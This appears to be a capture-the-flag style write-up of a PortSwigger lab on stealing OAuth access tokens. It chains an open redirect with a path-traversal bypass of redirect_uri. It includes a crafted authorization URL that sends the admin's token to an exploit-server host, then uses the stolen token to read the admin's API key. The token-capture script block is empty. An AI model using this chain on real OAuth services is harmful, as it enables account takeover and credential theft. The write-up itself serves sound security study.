> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).
# OAuth Token Theft via Open Redirect
OAuth Token Theft via Open Redirect notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Stealing OAuth Access Tokens via an Open Redirect
**Lab objective**
This lab uses an incorrect validation of the `redirect_uri` parameter by the OAuth service. / The objective is to use an open redirect present on the client application to **exfil the OAuth access token from the admin user** and then use it to recover its API key.
> It is not possible to get the API key for the admin simply by connecting to its account via the client application.
**Identification of open redirection**
Open redirection is present in the browsing functionality between blog articles:
{% code overflow="wrap" %}
```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```
{% endcode %}
By replacing the `path` parameter with an external URL, redirection is accepted:
{% code overflow="wrap" %}
```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```
{% endcode %}
The browser is redirected, confirming the vulnerability.
**Analysis of OAuth flow**
When authenticating via OAuth, the following query is observed:
{% code overflow="wrap" %}
```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```
{% endcode %}
The OAuth service rejects a fully external `redirect_uri`, but accepts an internal URL modified with path traversal.
{% code overflow="wrap" %}
```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```
{% endcode %}
**`redirect_uri` Validation Bypass**
Using `../` to exit the `/OAuth-callback` path, it is possible to string the open redirection:
{% code overflow="wrap" %}
```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```
{% endcode %}
This URL is accepted as `redirect_uri` by the OAuth provider.
**Malicious OAuth URL Construction**
The final URL sent to the victim is:
{% code overflow="wrap" %}
```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```
{% endcode %}
**Fragment problem (`#`)**
The URL fragment is **never sent to the server** during an HTTP request.
JavaScript on the client side is required to capture the token.
**Token capture with JavaScript**
The following script is hosted on the Exploit Server and sent to admin:
```javascript
```
* If no fragment is present, the victim is redirected to OAuth.
* If the fragment exists, the token is transmitted to the server via the query string.
**OAuth Token Exploitation**
The stolen token allows you to question the `/me` point of the supplier OAuth:
```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```
The answer contains the administrator account information, including the API key:
{% code overflow="wrap" %}
```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```
{% endcode %}
---
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